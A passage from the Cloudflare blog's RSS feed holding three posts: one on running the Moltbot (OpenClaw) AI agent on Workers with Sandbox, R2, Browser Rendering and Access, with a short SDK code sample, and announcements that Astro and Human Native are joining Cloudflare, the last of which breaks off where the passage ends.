            <content:encoded><![CDATA[ <p><i></i></p><p><i>Editorial note: As of January 30, 2026, Moltbot has been </i><a href="https://openclaw.ai/blog/introducing-openclaw"><i><u>renamed</u></i></a><i> to OpenClaw.</i></p><p>The Internet woke up this week to a flood of people <a href="https://x.com/AlexFinn/status/2015133627043270750"><u>buying Mac minis</u></a> to run <a href="https://github.com/moltbot/moltbot"><u>Moltbot</u></a> (formerly Clawdbot), an open-source, self-hosted AI agent designed to act as a personal assistant. Moltbot runs in the background on a user's own hardware, has a sizable and growing list of integrations for chat applications, AI models, and other popular tools, and can be controlled remotely. Moltbot can help you with your finances, social media, organize your day — all through your favorite messaging app.</p><p>But what if you don’t want to buy new dedicated hardware? And what if you could still run your Moltbot efficiently and securely online? Meet <a href="https://github.com/cloudflare/moltworker"><u>Moltworker</u></a>, a middleware Worker and adapted scripts that allows running Moltbot on Cloudflare's Sandbox SDK and our Developer Platform APIs.</p>
    <div>
      <h2>A personal assistant on Cloudflare — how does that work? </h2>
      <a href="#a-personal-assistant-on-cloudflare-how-does-that-work">
        
      </a>
    </div>
    <p>Cloudflare Workers has never been <a href="https://developers.cloudflare.com/workers/runtime-apis/nodejs/"><u>as compatible</u></a> with Node.js as it is now. Where in the past we had to mock APIs to get some packages running, now those APIs are supported natively by the Workers Runtime.</p><p>This has changed how we can build tools on Cloudflare Workers. When we first implemented <a href="https://developers.cloudflare.com/browser-rendering/playwright/"><u>Playwright</u></a>, a popular framework for web testing and automation that runs on <a href="https://developers.cloudflare.com/browser-rendering/"><u>Browser Rendering</u></a>, we had to rely on <a href="https://www.npmjs.com/package/memfs"><u>memfs</u></a>. This was bad because not only is memfs a hack and an external dependency, but it also forced us to drift away from the official Playwright codebase. Thankfully, with more Node.js compatibility, we were able to start using <a href="https://github.com/cloudflare/playwright/pull/62/changes"><u>node:fs natively</u></a>, reducing complexity and maintainability, which makes upgrades to the latest versions of Playwright easy to do.</p><p>The list of Node.js APIs we support natively keeps growing. The blog post “<a href="https://blog.cloudflare.com/nodejs-workers-2025/"><u>A year of improving Node.js compatibility in Cloudflare Workers</u></a>” provides an overview of where we are and what we’re doing.</p><p>We measure this progress, too. We recently ran an experiment where we took the 1,000 most popular NPM packages, installed and let AI loose, to try to run them in Cloudflare Workers, <a href="https://ghuntley.com/ralph/"><u>Ralph Wiggum as a "software engineer"</u></a> style, and the results were surprisingly good. Excluding the packages that are build tools, CLI tools or browser-only and don’t apply, only 15 packages genuinely didn’t work. <b>That's 1.5%</b>.</p><p>Here’s a graphic of our Node.js API support over time:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5GhwKJq2A2wG79I3NdhhDl/e462c30daf46b1b36d3f06bff479596b/image9.png" />
          </figure><p>We put together a page with the results of our internal experiment on npm packages support <a href="https://worksonworkers.southpolesteve.workers.dev/"><u>here</u></a>, so you can check for yourself.</p><p>Moltbot doesn’t necessarily require a lot of Workers Node.js compatibility because most of the code runs in a container anyway, but we thought it would be important to highlight how far we got supporting so many packages using native APIs. This is because when starting a new AI agent application from scratch, we can actually run a lot of the logic in Workers, closer to the user.</p><p>The other important part of the story is that the list of <a href="https://developers.cloudflare.com/directory/?product-group=Developer+platform"><u>products and APIs</u></a> on our Developer Platform has grown to the point where anyone can <a href="https://www.cloudflare.com/developer-platform/solutions/hosting/">build and run any kind of application</a> — even the most complex and demanding ones — on Cloudflare. And once launched, every application running on our Developer Platform immediately benefits from our secure and scalable global network.</p><p>Those products and services gave us the ingredients we needed to get started. First, we now have <a href="https://sandbox.cloudflare.com/"><u>Sandboxes</u></a>, where you can run untrusted code securely in isolated environments, providing a place to run the service. Next, we now have <a href="https://developers.cloudflare.com/browser-rendering/"><u>Browser Rendering</u></a>, where you can programmatically control and interact with headless browser instances. And finally, <a href="https://developers.cloudflare.com/r2/"><u>R2</u></a>, where you can store objects persistently. With those building blocks available, we could begin work on adapting Moltbot.</p>
    <div>
      <h2>How we adapted Moltbot to run on us</h2>
      <a href="#how-we-adapted-moltbot-to-run-on-us">
        
      </a>
    </div>
    <p>Moltbot on Workers, or Moltworker, is a combination of an entrypoint Worker that acts as an API router and a proxy between our APIs and the isolated environment, both protected by Cloudflare Access. It also provides an administration UI and connects to the Sandbox container where the standard Moltbot Gateway runtime and its integrations are running, using R2 for persistent storage.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3OD2oHgy5ilHpQO2GJvcLU/836a55b67a626d2cd378a654ad47901d/newdiagram.png" />
          </figure><p><sup>High-level architecture diagram of Moltworker.</sup></p><p>Let's dive in more.</p>
    <div>
      <h3>AI Gateway</h3>
      <a href="#ai-gateway">
        
      </a>
    </div>
    <p>Cloudflare AI Gateway acts as a proxy between your AI applications and any popular <a href="https://developers.cloudflare.com/ai-gateway/usage/providers/"><u>AI provider</u></a>, and gives our customers centralized visibility and control over the requests going through.</p><p>Recently we announced support for <a href="https://developers.cloudflare.com/changelog/2025-08-25-secrets-store-ai-gateway/"><u>Bring Your Own Key (BYOK)</u></a>, where instead of passing your provider secrets in plain text with every request, we centrally manage the secrets for you and can use them with your gateway configuration.</p><p>An even better option where you don’t have to manage AI providers' secrets at all end-to-end is to use <a href="https://developers.cloudflare.com/ai-gateway/features/unified-billing/"><u>Unified Billing</u></a>. In this case you top up your account with credits and use AI Gateway with any of the supported providers directly, Cloudflare gets charged, and we will deduct credits from your account.</p><p>To make Moltbot use AI Gateway, first we create a new gateway instance, then we enable the Anthropic provider for it, then we either add our Claude key or purchase credits to use Unified Billing, and then all we need to do is set the ANTHROPIC_BASE_URL environment variable so Moltbot uses the AI Gateway endpoint. That’s it, no code changes necessary.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/cMWRXgHR0mFLc5kp74nYk/a47fa09bdbb6acb3deb60fb16537945d/image11.png" />
          </figure><p>Once Moltbot starts using AI Gateway, you’ll have full visibility on costs and have access to logs and analytics that will help you understand how your AI agent is using the AI providers.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5GOrNdgtdwMcU4bE8oLE19/6bc29bcac643125f5332a8ffba9d1322/image1.png" />
          </figure><p>Note that Anthropic is one option; Moltbot supports <a href="https://www.molt.bot/integrations"><u>other</u></a> AI providers and so does <a href="https://developers.cloudflare.com/ai-gateway/usage/providers/"><u>AI Gateway</u></a>. The advantage of using AI Gateway is that if a better model comes along from any provider, you don’t have to swap keys in your AI Agent configuration and redeploy — you can simply switch the model in your gateway configuration. And more, you specify model or provider <a href="https://developers.cloudflare.com/ai-gateway/configuration/fallbacks/"><u>fallbacks</u></a> to handle request failures and ensure reliability.</p>
    <div>
      <h3>Sandboxes</h3>
      <a href="#sandboxes">
        
      </a>
    </div>
    <p>Last year we anticipated the growing need for AI agents to run untrusted code securely in isolated environments, and we <a href="https://developers.cloudflare.com/changelog/2025-06-24-announcing-sandboxes/"><u>announced</u></a> the <a href="https://developers.cloudflare.com/sandbox/"><u>Sandbox SDK</u></a>. This SDK is built on top of <a href="https://developers.cloudflare.com/containers/"><u>Cloudflare Containers</u></a>, but it provides a simple API for executing commands, managing files, running background processes, and exposing services — all from your Workers applications.</p><p>In short, instead of having to deal with the lower-level Container APIs, the Sandbox SDK gives you developer-friendly APIs for secure code execution and handles the complexity of container lifecycle, networking, file systems, and process management — letting you focus on building your application logic with just a few lines of TypeScript. Here’s an example:</p>
            <pre><code>import { getSandbox } from '@cloudflare/sandbox';
export { Sandbox } from '@cloudflare/sandbox';

export default {
  async fetch(request: Request, env: Env): Promise&lt;Response&gt; {
    const sandbox = getSandbox(env.Sandbox, 'user-123');

    // Create a project structure
    await sandbox.mkdir('/workspace/project/src', { recursive: true });

    // Check node version
    const version = await sandbox.exec('node -v');

    // Run some python code
    const ctx = await sandbox.createCodeContext({ language: 'python' });
    await sandbox.runCode('import math; radius = 5', { context: ctx });
    const result = await sandbox.runCode('math.pi * radius ** 2', { context: ctx });

    return Response.json({ version, result });
  }
};</code></pre>
            <p>This fits like a glove for Moltbot. Instead of running Docker in your local Mac mini, we run Docker on Containers, use the Sandbox SDK to issue commands into the isolated environment and use callbacks to our entrypoint Worker, effectively establishing a two-way communication channel between the two systems.</p>
    <div>
      <h3>R2 for persistent storage</h3>
      <a href="#r2-for-persistent-storage">
        
      </a>
    </div>
    <p>The good thing about running things in your local computer or VPS is you get persistent storage for free. Containers, however, are inherently <a href="https://developers.cloudflare.com/containers/platform-details/architecture/"><u>ephemeral</u></a>, meaning data generated within them is lost upon deletion. Fear not, though — the Sandbox SDK provides the sandbox.mountBucket() that you can use to automatically, well, mount your R2 bucket as a filesystem partition when the container starts.</p><p>Once we have a local directory that is guaranteed to survive the container lifecycle, we can use that for Moltbot to store session memory files, conversations and other assets that are required to persist.</p>
    <div>
      <h3>Browser Rendering for browser automation</h3>
      <a href="#browser-rendering-for-browser-automation">
        
      </a>
    </div>
    <p>AI agents rely heavily on browsing the sometimes not-so-structured web. Moltbot utilizes dedicated Chromium instances to perform actions, navigate the web, fill out forms, take snapshots, and handle tasks that require a web browser. Sure, we can run Chromium on Sandboxes too, but what if we could simplify and use an API instead?</p><p>With Cloudflare’s <a href="https://developers.cloudflare.com/browser-rendering/"><u>Browser Rendering</u></a>, you can programmatically control and interact with headless browser instances running at scale in our edge network. We support <a href="https://developers.cloudflare.com/browser-rendering/puppeteer/"><u>Puppeteer</u></a>, <a href="https://developers.cloudflare.com/browser-rendering/stagehand/"><u>Stagehand</u></a>, <a href="https://developers.cloudflare.com/browser-rendering/playwright/"><u>Playwright</u></a> and other popular packages so that developers can onboard with minimal code changes. We even support <a href="https://developers.cloudflare.com/browser-rendering/playwright/playwright-mcp/"><u>MCP</u></a> for AI.</p><p>In order to get Browser Rendering to work with Moltbot we do two things:</p><ul><li><p>First we create a <a href="https://github.com/cloudflare/moltworker/blob/main/src/routes/cdp.ts"><u>thin CDP proxy</u></a> (<a href="https://chromedevtools.github.io/devtools-protocol/"><u>CDP</u></a> is the protocol that allows instrumenting Chromium-based browsers) from the Sandbox container to the Moltbot Worker, back to Browser Rendering using the Puppeteer APIs.</p></li><li><p>Then we inject a <a href="https://github.com/cloudflare/moltworker/pull/20"><u>Browser Rendering skill</u></a> into the runtime when the Sandbox starts.</p></li></ul>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1ZvQa7vS1T9Mm3nywqarQZ/9dec3d8d06870ee575a519440d34c499/image12.png" />
          </figure><p>From the Moltbot runtime perspective, it has a local CDP port it can connect to and perform browser tasks.</p>
    <div>
      <h3>Zero Trust Access for authentication policies</h3>
      <a href="#zero-trust-access-for-authentication-policies">
        
      </a>
    </div>
    <p>Next up we want to protect our APIs and Admin UI from unauthorized access. Doing authentication from scratch is hard, and is typically the kind of wheel you don’t want to reinvent or have to deal with. Zero Trust Access makes it incredibly easy to protect your application by defining specific policies and login methods for the endpoints. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1MDXXjbMs4PViN3kp9iFBY/a3095f07c986594d0c07d0276dbf22cc/image3.png" />
          </figure><p><sup>Zero Trust Access Login methods configuration for the Moltworker application.</sup></p><p>Once the endpoints are protected, Cloudflare will handle authentication for you and automatically include a <a href="https://developers.cloudflare.com/cloudflare-one/access-controls/applications/http-apps/authorization-cookie/application-token/"><u>JWT token</u></a> with every request to your origin endpoints. You can then <a href="https://developers.cloudflare.com/cloudflare-one/access-controls/applications/http-apps/authorization-cookie/validating-json/"><u>validate</u></a> that JWT for extra protection, to ensure that the request came from Access and not a malicious third party.</p><p>Like with AI Gateway, once all your APIs are behind Access you get great observability on who the users are and what they are doing with your Moltbot instance.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3BV4eqxKPXTiq18vvVpmZh/e034b7e7ea637a00c73c2ebe4d1400aa/image8.png" />
          </figure>
    <div>
      <h2>Moltworker in action</h2>
      <a href="#moltworker-in-action">
        
      </a>
    </div>
    <p>Demo time. We’ve put up a Slack instance where we could play with our own instance of Moltbot on Workers. Here are some of the fun things we’ve done with it.</p><p>We hate bad news.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4FxN935AgINZ8953WSswKB/e52d3eb268aa0732c5e6aa64a8e2adba/image6.png" />
          </figure><p>Here’s a chat session where we ask Moltbot to find the shortest route between Cloudflare in London and Cloudflare in Lisbon using Google Maps and take a screenshot in a Slack channel. It goes through a sequence of steps using Browser Rendering to navigate Google Maps and does a pretty good job at it. Also look at Moltbot’s memory in action when we ask him the second time.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1phWt3cVUwxe9tvCYpuAW3/97f456094ede6ca8fb55bf0dddf65d5b/image10.png" />
          </figure><p>We’re in the mood for some Asian food today, let’s get Moltbot to work for help.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6nJY7GOCopGnMy4IY7KMcf/0d57794df524780c3f4b27e65c968e19/image5.png" />
          </figure><p>We eat with our eyes too.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5BzB9pqJhuevRbOSJloeG0/23c2905f0c12c1e7f104aa28fcc1f595/image7.png" />
          </figure><p>Let’s get more creative and ask Moltbot to create a video where it browses our developer documentation. As you can see, it downloads and runs ffmpeg to generate the video out of the frames it captured in the browser.</p><div>
  
</div>
    <div>
      <h2>Run your own Moltworker</h2>
      <a href="#run-your-own-moltworker">
        
      </a>
    </div>
    <p>We open-sourced our implementation and made it available at<a href="https://github.com/cloudflare/moltworker"> <u>https://github.com/cloudflare/moltworker</u></a>, so you can deploy and run your own Moltbot on top of Workers today.</p><p>The <a href="https://github.com/cloudflare/moltworker/blob/main/README.md">README</a> guides you through the necessary setup steps. You will need a Cloudflare account and a <a href="https://developers.cloudflare.com/workers/platform/pricing/"><u>Workers Paid plan</u></a> to access Sandbox Containers; however, all other products are either entirely free (like <a href="https://developers.cloudflare.com/ai-gateway/reference/pricing/"><u>AI Gateway</u></a>) or include generous <a href="https://developers.cloudflare.com/r2/pricing/#free-tier"><u>free tiers </u></a>that allow you to get started and scale under reasonable limits.</p><p><b>Note that Moltworker is a proof of concept, not a Cloudflare product</b>. Our goal is to showcase some of the most exciting features of our <a href="https://developers.cloudflare.com/learning-paths/workers/devplat/intro-to-devplat/">Developer Platform</a> that can be used to run AI agents and unsupervised code efficiently and securely, and get great observability while taking advantage of our global network.</p><p>Feel free to contribute to or fork our <a href="https://github.com/cloudflare/moltworker"><u>GitHub</u></a> repository; we will keep an eye on it for a while for support. We are also considering contributing upstream to the official project with Cloudflare skills in parallel.</p>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>We hope you enjoyed this experiment, and we were able to convince you that Cloudflare is the perfect place to run your AI applications and agents. We’ve been working relentlessly trying to anticipate the future and release features like the <a href="https://developers.cloudflare.com/agents/"><u>Agents SDK</u></a> that you can use to build your first agent <a href="https://developers.cloudflare.com/agents/guides/slack-agent/"><u>in minutes</u></a>, <a href="https://developers.cloudflare.com/sandbox/"><u>Sandboxes</u></a> where you can run arbitrary code in an isolated environment without the complications of the lifecycle of a container, and <a href="https://developers.cloudflare.com/ai-search/"><u>AI Search</u></a>, Cloudflare’s managed vector-based search service, to name a few.</p><p>Cloudflare now offers a complete toolkit for AI development: inference, storage APIs, databases, durable execution for stateful workflows, and built-in AI capabilities. Together, these building blocks make it possible to build and run even the most demanding AI applications on our global edge network.</p><p>If you're excited about AI and want to help us build the next generation of products and APIs, we're <a href="https://www.cloudflare.com/en-gb/careers/jobs/?department=Engineering"><u>hiring</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Agents]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Containers]]></category>
            <category><![CDATA[Sandbox]]></category>
            <guid isPermaLink="false">45LuZGCXAcs7EMnB64zTQm</guid>
            <dc:creator>Celso Martinho</dc:creator>
            <dc:creator>Brian Brunner</dc:creator>
            <dc:creator>Sid Chatterjee</dc:creator>
            <dc:creator>Andreas Jansson</dc:creator>
        </item>
        <item>
            <title><![CDATA[Astro is joining Cloudflare]]></title>
            <link>https://blog.cloudflare.com/astro-joins-cloudflare/</link>
            <pubDate>Fri, 16 Jan 2026 14:00:00 GMT</pubDate>
            <description><![CDATA[ The Astro Technology Company team — the creators of the Astro web framework — is joining Cloudflare. We’re doubling down on making Astro the best framework for content-driven websites, today and in the years to come. ]]></description>
            <content:encoded><![CDATA[ <p>The Astro Technology Company, creators of the Astro web framework, is joining Cloudflare.</p><p><a href="https://astro.build/"><u>Astro</u></a> is the web framework for building fast, content-driven websites. Over the past few years, we’ve seen an incredibly diverse range of developers and companies use Astro to build for the web. This ranges from established brands like Porsche and IKEA, to fast-growing AI companies like Opencode and OpenAI. Platforms that are built on Cloudflare, like <a href="https://webflow.com/feature/cloud"><u>Webflow Cloud</u></a> and <a href="https://vibe.wix.com/"><u>Wix Vibe</u></a>, have chosen Astro to power the websites their customers build and deploy to their own platforms. At Cloudflare, we use Astro, too — for our <a href="https://developers.cloudflare.com/"><u>developer docs</u></a>, <a href="https://workers.cloudflare.com/"><u>website</u></a>, <a href="https://sandbox.cloudflare.com/"><u>landing pages</u></a>, <a href="https://blog.cloudflare.com/"><u>blog</u></a>, and more. Astro is used almost everywhere there is content on the Internet. </p><p>By joining forces with the Astro team, we are doubling down on making Astro the best framework for content-driven websites for many years to come. The best version of Astro — <a href="https://github.com/withastro/astro/milestone/37"><u>Astro 6</u></a> —  is just around the corner, bringing a redesigned development server powered by Vite. The first public beta release of Astro 6 is <a href="https://github.com/withastro/astro/releases/tag/astro%406.0.0-beta.0"><u>now available</u></a>, with GA coming in the weeks ahead.</p><p>We are excited to share this news and even more thrilled for what it means for developers building with Astro. If you haven’t yet tried Astro — give it a spin and run <a href="https://docs.astro.build/en/getting-started/"><u>npm create astro@latest</u></a>.</p>
    <div>
      <h3>What this means for Astro</h3>
      <a href="#what-this-means-for-astro">
        
      </a>
    </div>
    <p>Astro will remain open source, MIT-licensed, and open to contributions, with a public roadmap and open governance. All full-time employees of The Astro Technology Company are now employees of Cloudflare, and will continue to work on Astro. We’re committed to Astro’s long-term success and eager to keep building.</p><p>Astro wouldn’t be what it is today without an incredibly strong community of open-source contributors. Cloudflare is also committed to continuing to support open-source contributions, via the <a href="https://astro.build/blog/astro-ecosystem-fund-update/"><u>Astro Ecosystem Fund</u></a>, alongside industry partners including Webflow, Netlify, Wix, Sentry, Stainless and many more.</p><p>From day one, Astro has been a bet on the web and portability: Astro is built to run anywhere, across clouds and platforms. Nothing changes about that. You can deploy Astro to any platform or cloud, and we’re committed to supporting Astro developers everywhere.</p>
    <div>
      <h3>There are many web frameworks out there — so why are developers choosing Astro?</h3>
      <a href="#there-are-many-web-frameworks-out-there-so-why-are-developers-choosing-astro">
        
      </a>
    </div>
    <p>Astro has been growing rapidly:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6SiPDolNqvmfQmHftQAr2W/b0b0b0c6725203b945d83da9b190c443/BLOG-3112_2.png" />
          </figure><p>Why? Many web frameworks have come and gone trying to be everything to everyone, aiming to serve the needs of both content-driven websites and web applications.</p><p>The key to Astro’s success: Instead of trying to serve every use case, Astro has stayed focused on <a href="https://docs.astro.build/en/concepts/why-astro/#design-principles"><u>five design principles</u></a>. Astro is…</p><ul><li><p><b>Content-driven:</b> Astro was designed to showcase your content.</p></li><li><p><b>Server-first:</b> Websites run faster when they render HTML on the server.</p></li><li><p><b>Fast by default:</b> It should be impossible to build a slow website in Astro.</p></li><li><p><b>Easy to use:</b> You don’t need to be an expert to build something with Astro.</p></li><li><p><b>Developer-focused:</b> You should have the resources you need to be successful.</p></li></ul><p>Astro’s <a href="https://docs.astro.build/en/concepts/islands/"><u>Islands Architecture</u></a> is a core part of what makes all of this possible. The majority of each page can be fast, static HTML — fast and simple to build by default, oriented around rendering content. And when you need it, you can render a specific part of a page as a client island, using any client UI framework. You can even mix and match multiple frameworks on the same page, whether that’s React.js, Vue, Svelte, Solid, or anything else:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1SjrMUpO9xZb0wxlATkrQo/16afe1efdb57da6b8b17cd804d94cfb2/BLOG-3112_3.png" />
          </figure>
    <div>
      <h3>Bringing back the joy in building websites</h3>
      <a href="#bringing-back-the-joy-in-building-websites">
        
      </a>
    </div>
    <p>The more Astro and Cloudflare started talking, the clearer it became how much we have in common. Cloudflare’s mission is to help build a better Internet — and part of that is to help build a <i>faster</i> Internet. Almost all of us grew up building websites, and we want a world where people have fun building things on the Internet, where anyone can publish to a site that is truly their own.</p><p>When Astro first <a href="https://astro.build/blog/introducing-astro/"><u>launched</u></a> in 2021, it had become painful to build great websites — it felt like a fight with build tools and frameworks. It sounds strange to say it, with the coding agents and powerful LLMs of 2026, but in 2021 it was very hard to build an excellent and fast website without being a domain expert in JavaScript build tooling. So much has gotten better, both because of Astro and in the broader frontend ecosystem, that we take this almost for granted today.</p><p>The Astro project has spent the past five years working to simplify web development. So as LLMs, then vibe coding, and now true coding agents have come along and made it possible for truly anyone to build — Astro provided a foundation that was simple and fast by default. We’ve all seen how much better and faster agents get when building off the right foundation, in a well-structured codebase. More and more, we’ve seen both builders and platforms choose Astro as that foundation.</p><p>We’ve seen this most clearly through the platforms that both Cloudflare and Astro serve, that extend Cloudflare to their own customers in creative ways using <a href="https://developers.cloudflare.com/cloudflare-for-platforms/"><u>Cloudflare for Platforms</u></a>, and have chosen Astro as the framework that their customers build on. </p><p>When you deploy to <a href="https://webflow.com/feature/cloud"><u>Webflow Cloud</u></a>, your Astro site just works and is deployed across Cloudflare’s network. When you start a new project with <a href="https://vibe.wix.com/"><u>Wix Vibe</u></a>, behind the scenes you’re creating an Astro site, running on Cloudflare. And when you generate a developer docs site using <a href="https://www.stainless.com/"><u>Stainless</u></a>, that generates an Astro project, running on Cloudflare, powered by <a href="https://astro.build/blog/stainless-astro-launch/"><u>Starlight</u></a> — a framework built on Astro.</p><p>Each of these platforms is built for a different audience. But what they have in common — beyond their use of Cloudflare and Astro — is they make it <i>fun</i> to create and publish content to the Internet. In a world where everyone can be both a builder and content creator, we think there are still so many more platforms to build and people to reach.</p>
    <div>
      <h3><b>Astro 6 — new local dev server, powered by Vite</b></h3>
      <a href="#astro-6-new-local-dev-server-powered-by-vite">
        
      </a>
    </div>
    <p>Astro 6 is coming, and the first open beta release is <a href="https://astro.build/blog/astro-6-beta/"><u>now available</u></a>. To be one of the first to try it out, run:</p><p><code>npm create astro@latest -- --ref next</code></p><p>Or to upgrade your existing Astro app, run:</p><p><code>npx @astrojs/upgrade beta</code></p><p>Astro 6 brings a brand new development server, built on the <a href="https://vite.dev/guide/api-environment"><u>Vite Environments API</u></a>, that runs your code locally using the same runtime that you deploy to. This means that when you run <code>astro dev</code> with the <a href="https://developers.cloudflare.com/workers/vite-plugin/"><u>Cloudflare Vite plugin</u></a>, your code runs in <a href="https://github.com/cloudflare/workerd"><u>workerd</u></a>, the open-source Cloudflare Workers runtime, and can use <a href="https://developers.cloudflare.com/durable-objects/"><u>Durable Objects</u></a>, <a href="https://developers.cloudflare.com/d1/"><u>D1</u></a>, <a href="https://developers.cloudflare.com/kv/"><u>KV</u></a>, <a href="https://developers.cloudflare.com/agents/"><u>Agents</u></a> and <a href="https://developers.cloudflare.com/workers/runtime-apis/bindings/"><u>more</u></a>. This isn’t just a Cloudflare feature: Any JavaScript runtime with a plugin that uses the Vite Environments API can benefit from this new support, and ensure local dev runs in the same environment, with the same runtime APIs as production.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4YAgzaSkgUr3gxK5Mkh62V/09847d3f15744b6f049864a6e898a343/BLOG-3112_4.png" />
          </figure><p><a href="https://docs.astro.build/en/reference/experimental-flags/live-content-collections/"><u>Live Content Collections</u></a> in Astro are also stable in Astro 6 and out of beta. These content collections let you update data in real time, without requiring a rebuild of your site. This makes it easy to bring in content that changes often, such as the current inventory in a storefront, while still benefitting from the built-in validation and caching that come with Astro’s existing support for <a href="https://v6.docs.astro.build/en/guides/content-collections"><u>content collections</u></a>.</p><p>There’s more to Astro 6, including Astro’s most upvoted feature request — first-class support for Content Security Policy (CSP) — as well as simpler APIs, an upgrade to <a href="https://zod.dev/?id=introduction"><u>Zod</u></a> 4, and more.</p>
    <div>
      <h3>Doubling down on Astro</h3>
      <a href="#doubling-down-on-astro">
        
      </a>
    </div>
    <p>We're thrilled to welcome the Astro team to Cloudflare. We’re excited to keep building, keep shipping, and keep making Astro the best way to build content-driven sites. We’re already thinking about what comes next beyond V6, and we’d love to hear from you.</p><p>To keep up with the latest, follow the <a href="https://astro.build/blog/"><u>Astro blog</u></a> and join the <a href="https://astro.build/chat"><u>Astro Discord</u></a>. Tell us what you’re building!</p><p></p> ]]></content:encoded>
            <category><![CDATA[Acquisitions]]></category>
            <category><![CDATA[Application Services]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[AI]]></category>
            <guid isPermaLink="false">6snDEFT5jgryV5wPhY4HEj</guid>
            <dc:creator>Fred Schott</dc:creator>
            <dc:creator>Brendan Irvine-Broque</dc:creator>
        </item>
        <item>
            <title><![CDATA[Human Native is joining Cloudflare]]></title>
            <link>https://blog.cloudflare.com/human-native-joins-cloudflare/</link>
            <pubDate>Thu, 15 Jan 2026 14:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare acquires Human Native, an AI data marketplace specialising in transforming content into searchable and useful data, to accelerate work building new economic models for the Internet. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Today, we’re excited to share that Cloudflare has acquired <a href="https://www.humannative.ai/"><u>Human Native</u></a>, a UK-based AI data marketplace specializing in transforming multimedia content into searchable and useful data.</p>
    <div>
      <h3>Human Native x Cloudflare</h3>
      <a href="#human-native-x-cloudflare">
        
      </a>
    </div>
    <p>The Human Native team has spent the past few years focused on helping AI developers create better AI through licensed data. Their technology helps publishers and developers turn messy, unstructured content into something that can be understood, licensed and ultimately valued. They have approached data not as something to be scraped, but as an asset class that deserves structure, transparency and respect.</p><p>Access to high-quality data can lead to better technical performance. One of Human Native’s customers, a prominent UK video AI company, threw away their existing training data after achieving superior results with data sourced through Human Native. Going forward they are only training on fully licensed, reputably sourced, high-quality content.</p><p>This gives a preview of what the economic model of the Internet can be in the age of generative AI: better AI built on better data, with fair control, compensation and credit for creators.</p>
    <div>
      <h3>The Internet needs new economic models</h3>
      <a href="#the-internet-needs-new-economic-models">
        
      </a>
    </div>
    <p>For the last 30 years, the open Internet has been based on a fundamental value exchange: creators create content, aggregators (such as search engines or social media) send traffic. Creators can monetize that traffic through advertisements, subscriptions or direct support. This is the economic loop that has powered the explosive growth of the Internet.</p><p>But it’s under real strain.</p><p><a href="https://blog.cloudflare.com/crawlers-click-ai-bots-training/"><u>Crawl-to-referral</u></a> ratios are skyrocketing, with 10s of thousands of AI and bot crawls per real human visitor, and<b> </b>it’s unclear how multipurpose crawlers are using the content they access.</p><p>The community of creators who publish on the Internet is a diverse group: news publishers, content creators, financial professionals, technology companies, aggregators and more. But they have one thing in common: They want to decide how their content is used by AI systems.</p><p>Cloudflare’s work in building <a href="https://www.cloudflare.com/en-gb/ai-crawl-control/"><u>AI Crawl Control</u></a> and <a href="https://developers.cloudflare.com/ai-crawl-control/features/pay-per-crawl/what-is-pay-per-crawl/"><u>Pay Per Crawl</u></a> is predicated on a simple philosophy: Content owners should get to decide how and when their content is accessed by others. Many of our customers want to optimize their brand and content to make sure it is in every training data set and shows up in every new search; others want to have more control and only allow access if there is direct compensation.</p><p>Our tools like <a href="https://developers.cloudflare.com/ai-search/"><u>AI Search</u></a>, AI Crawl Control and Pay Per Crawl can help, wherever you land in that equation. The important thing is that the content owner gets to decide.</p>
    <div>
      <h3>New tools for AI developers</h3>
      <a href="#new-tools-for-ai-developers">
        
      </a>
    </div>
    <p>With the Human Native team joining Cloudflare, we are accelerating our work in helping customers transform their content to be easily accessed and understood by AI bots and agents in addition to their traditional human audiences.</p><p>Crawling is complex, expensive in terms of engineering and compute to process the content, and has no guarantees of quality control. A crawled index can contain duplicates, spam, illegal material and many more headaches. Developers are left with messy, unstructured data.</p><p>We recently announced our work in building the <a href="https://blog.cloudflare.com/an-ai-index-for-all-our-customers/"><u>AI Index</u></a>, a powerful new way for both foundation model companies and agents to access content at scale.</p><p>Instead of sending crawlers blindly and repeatedly across the open Internet, AI developers will be able to connect via a pub/sub model: participating websites will expose structured updates whenever their content changes, and developers will be able to subscribe to receive those updates in real time. </p><p>This opens up new avenues for content creators to experiment with new business models. </p>
    <div>
      <h3>Building the foundation for these new business models</h3>
      <a href="#building-the-foundation-for-these-new-business-models">
        
      </a>
    </div>
    <p>Cloudflare is investing heavily in creating the foundations for these new business models, starting with x402.</p><p>We recently announced that we are creating the <a href="https://blog.cloudflare.com/x402/"><u>x402 Foundation</u></a>, in partnership with Coinbase, to enable machine-to-machine transactions for digital resources.</p><p>Payments on the web have historically been designed for humans. We browse a merchant’s website, show intent by adding items to a cart, and confirm our intent to purchase by putting in our credit card information and clicking “Pay.” But what if you want to enable direct transactions between automated systems? We need protocols to allow machine-to-machine transactions. </p><p>Together, Human Native and Cloudflare will accelerate our work in building the basis of these new economic models for the Internet. </p>
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
